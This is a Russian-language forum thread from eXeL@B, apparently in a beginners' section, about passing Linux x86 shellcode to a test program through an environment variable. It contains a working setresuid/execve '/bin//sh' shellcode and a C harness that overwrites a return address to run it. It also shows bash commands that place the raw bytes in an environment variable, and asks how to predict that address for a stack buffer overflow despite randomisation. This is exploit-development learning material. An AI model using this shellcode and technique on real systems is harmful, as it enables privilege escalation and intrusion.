Сейчас на форуме: vsv1, Alf (+4 невидимых)

 eXeL@B —› Вопросы новичков —› Передать код через переменную окружения
Посл.ответ Сообщение

Ранг: 102.0 (ветеран), 18thx
Активность: 0.070.02
Статус: Участник

Создано: 22 октября 2015 18:25
· Личное сообщение · #1

Приведенная ниже программа при запуске без аргументов работает
и исполняет свой шеллкод. Однако при передаче тот же код через
переменную окружения отказывается работать. В отладчике GDB
видно, что EIP настраивается правильно, но принятый код не тот.
Вот начало массива shellcode: 0x33785c22 0x63785c32 0x33785c30...
----------------------
Подскажите, пожалуйста, как нейтрализовать эту напасть?!
----------------------
В программе 1-й аргумент - для настройки (равен 4), через 2-й
аргумент передаётся имя переменной окружения.
----------------------
Code:
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. char shellcode[] = 
  5. "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
  6. "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
  7. "\xe1\xcd\x80";
  8. int main(int argc, char *argv[]){
  9.    int *ret, n=4;
  10.    int *ptr;
  11.    if(argc > 1)  n = atoi(argv[1]);
  12.    if(argc > 2){
  13.      bzero(shellcode, 200);
  14.      strcpy(shellcode, (char*)getenv(argv[2]));
  15.    }
  16.    ptr = (int*)&ret + n;
  17.    *ptr = (int)shellcode;
  18.    return 0;
  19. }




Ранг: 431.7 (мудрец), 390thx
Активность: 0.730.32
Статус: Участник

Создано: 22 октября 2015 18:43 · Поправил: dosprog
· Личное сообщение · #2

BAD:
Code:
  1. if(argc > 2){
  2.      bzero(shellcode, 200);
  3.      strcpy(shellcode, (char*)getenv(argv[2]));
  4. }
GOOD:
Code:
  1. if(argc > 2)
  2.      strcpy(shellcode, (char*)getenv(argv[2]));



-- Добавлено --

Или так (лучше):

BAD:
Code:
  1. char shellcode[] = 
GOOD
Code:
  1. char shellcode[200+1] = 

А нщё лучше - вообще оба варианта.

Хорошие программы от не очень хороших отличаются тем, что там учтены всех этих мелочей ..



| Сообщение посчитали полезным: Rainbow

Ранг: 102.0 (ветеран), 18thx
Активность: 0.070.02
Статус: Участник

Создано: 22 октября 2015 19:34 · Поправил: ksol
· Личное сообщение · #3

dosprog К сожалению, предложение char shellcode[200+1] = не соотносится
с инициализацией!



Ранг: 431.7 (мудрец), 390thx
Активность: 0.730.32
Статус: Участник

Создано: 22 октября 2015 19:52 · Поправил: dosprog
· Личное сообщение · #4

ksol пишет:
К сожалению, предложение char shellcode[200+1] = не соотносится
с инициализацией!

Не знаю, о чём вообще речь.
Вот готовый рабочий пример: a079_22.10.2015_EXELAB.rU.tgz - SHELLCOD.ZIP





Ранг: 251.3 (наставник), 81thx
Активность: 0.140.11
Статус: Участник

Создано: 23 октября 2015 12:49 · Поправил: cppasm
· Личное сообщение · #5

Да там не с инициализацией проблемы.
Очевидный же косяк.
Тебе строчку получаемую от getenv() конвертировать надо самому.
Т.е. если ты в коде пишешь
Code:
  1. char shellcode[] = "\x33";

то получишь строку из одного символа с кодом 0x33 - т.е. это эквивалентно
Code:
  1. char shellcode[] = "3";

Короче говоря компилятор обрабатывает esc-последовательности в твоей строке.
А если ты то же самое получишь через getenv() то в строке будет то что ты написал - т.е. в данном случае 4 символа "\x33" что эквивалентно записи в коде
Code:
  1. char shellcode[] = "\\x33";


Разница между
Code:
  1. char shellcode[] = "\x33";

и
Code:
  1. char shellcode[] = "\\x33";

надеюсь понятна и почему не работает думаю тоже.



Ранг: 102.0 (ветеран), 18thx
Активность: 0.070.02
Статус: Участник

Создано: 23 октября 2015 15:18
· Личное сообщение · #6

cppasm - Спасибо за теорию! А вы не сможете сказать, что практически
надо сделать с полученной через getenv() строкой?




Ранг: 533.6 (!), 232thx
Активность: 0.450
Статус: Uploader
retired

Создано: 23 октября 2015 15:24
· Личное сообщение · #7

ksol пишет:
что практически
надо сделать с полученной через getenv() строкой?

да ничего с ней не нужно делать, главное поместить ее в окружение правильно нужно

-----
Лучше быть одиноким, но свободным © $me




Ранг: 102.0 (ветеран), 18thx
Активность: 0.070.02
Статус: Участник

Создано: 23 октября 2015 17:48
· Личное сообщение · #8

BoRoV - а это как?
-----------------------------------
Если блок if(argc > 2) заменить на
Code:
  1. setenv("CODE1",shellcode,1);
  2. bzero(shellcode,200);
  3. strcpy(shellcode, (char*)getenv("CODE1"));

то всё работает! Т.е. определение переменной окружения в самой
программе проходит. А из другой программы или оболочки bash - не идёт!
------------------------------------
dosprog Вашу программу запустил - да, работает в Windows, без проверки
передачи кода. Если у вас есть Linux, проверьте может у вас пройдёт транспортировка
кода без искажений?



Ранг: 431.7 (мудрец), 390thx
Активность: 0.730.32
Статус: Участник

Создано: 23 октября 2015 17:52 · Поправил: dosprog
· Личное сообщение · #9

ksol пишет:
проверьте


Вот же написали уже:


cppasm пишет:
Разница между
char shellcode[] = "\x33";
и
char shellcode[] = "\\x33";
надеюсь понятна и почему не работает думаю тоже.







Ранг: 533.6 (!), 232thx
Активность: 0.450
Статус: Uploader
retired

Создано: 23 октября 2015 18:09
· Личное сообщение · #10

ksol пишет:
А из другой программы или оболочки bash

с другой программы и не будет проходить, она устанавливает ее в свое окружение а не общее. а с баша нормально все устанавливается
Code:
  1. export CODE=`echo -ne "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80"`


-----
Лучше быть одиноким, но свободным © $me


| Сообщение посчитали полезным: ksol

Ранг: 102.0 (ветеран), 18thx
Активность: 0.070.02
Статус: Участник

Создано: 23 октября 2015 18:12 · Поправил: ksol
· Личное сообщение · #11

dosprog
Да это я давно в gdb вижу как каждый символ 16-ричного кода заменяется
на их значения из таблицы ascii. И что с этим сделаешь?
BoRoV - что-то интересное вы предложили!Спасибо! Проверю.




Ранг: 533.6 (!), 232thx
Активность: 0.450
Статус: Uploader
retired

Создано: 23 октября 2015 18:24
· Личное сообщение · #12

ksol пишет:
И что с этим сделаешь?

С чем? Тебе уже всё тут разжевали.

-----
Лучше быть одиноким, но свободным © $me




Ранг: 102.0 (ветеран), 18thx
Активность: 0.070.02
Статус: Участник

Создано: 23 октября 2015 18:30
· Личное сообщение · #13

BoRoV Да я за вами не успеваю! Пока я набираю ответ - вы уже другой отправили.



Ранг: 102.0 (ветеран), 18thx
Активность: 0.070.02
Статус: Участник

Создано: 24 октября 2015 14:53
· Личное сообщение · #14

Программа работает, успешно глотает предложенный код,
если переменную окружения задать в виде контекстной подстановки
Code:
  1. export CODE=$(printf `cat cod1.s`)

где файл cod1.s содержит передаваемый код.
Всех благодарю за активное участие, а особенно BoRoV.



Ранг: 102.0 (ветеран), 18thx
Активность: 0.070.02
Статус: Участник

Создано: 30 октября 2015 17:51
· Личное сообщение · #15

---- Родственный вопрос ---
В Сети есть статьи, в которых адрес переменной окружения с шеллкодом
в ней, пересылается для переполнения буфера в стеке. Адрес вычисляется
либо на использовании числа 0xbfffffff в качестве "верхушки" стека, либо
функции getenv(), с некоторыми поправками на число символов имени программы.
Считается, что вычисленный адрес остается тем же и для программы с буфером.
Но у меня ни 1-й, ни 2-й варианты вычисления адреса не идут. Адреса имеют
вид 0xbf'd69'f24 , 0xbf'927'f24 и не сохраняются в другой программе, а меняются
от запуска к запуску одной и той же программы. А адрес 0xbfffffff вообще не доступен.
Возможна ли передача реального адреса переменной окружения в программу?!




Ранг: 324.3 (мудрец), 222thx
Активность: 0.480.37
Статус: Участник

Создано: 30 октября 2015 20:16 · Поправил: DenCoder
· Личное сообщение · #16

Адрес там для примера. Инициалиазация базы указателя стека может быть произведена наполовину рандомно. Не надо даже в Windows XP полагать, что если стартовый тред всегда инициируется базой 0x00130000, то так всегда будет. Это не так! Всё зависит от базы(Image Base) exe-модуля, от баз подгруженных статически dll-модулей, от размеров модулей и от размеров куч...

То же самое и для области переменных окружения. +:
1) Регион может иметь атрибут shared, тогда адреса всегда одни и те же, а может не иметь - тогда адреса у каждой программы могут быть свои. Тут зависит от версии ОС.
2) От версии ОС также зависит "обычный" адрес базы переменных окружения и методы доступа к ним.

-----
IZ.RU




Ранг: 431.7 (мудрец), 390thx
Активность: 0.730.32
Статус: Участник

Создано: 31 октября 2015 11:16 · Поправил: dosprog
· Личное сообщение · #17

ksol пишет:
Возможна ли передача реального адреса переменной окружения в программу?!


Адреса переменной чьего окружения? Чужое окружение недоступно - изоляция процессов.

Вообще, зачем эти извраты? Всё это спокойно реализуется через файловый ввод/вывод.
Единстственно, приходят на ум всякие регистрационные подлости, с передачей раскриптованных адресов в программу. Не надо этого делать, право же.
Подумайте лучше над фичами самой программы, чтоб она была классная.





Ранг: 102.0 (ветеран), 18thx
Активность: 0.070.02
Статус: Участник

Создано: 31 октября 2015 12:54
· Личное сообщение · #18

Переменная окружения создается в оболочке bash, запускается программа, которую я привел
в самом начале. Она по полученному имени через getenv() определяет адрес и запускает шеллкод
из переменной окружения. Но эта программа подходит только для тестирования шеллкода.
Если бы заставить через настройки оболочку bash не обновлять адреса, то
адрес можно определить самому и кинуть в программу с буфером в стеке.
Настроечный файл .bash_profile имеет раздел User specific environment . Может туда можно
что-то записать?


 eXeL@B —› Вопросы новичков —› Передать код через переменную окружения
Эта тема закрыта. Ответы больше не принимаются.
   Для печати Для печати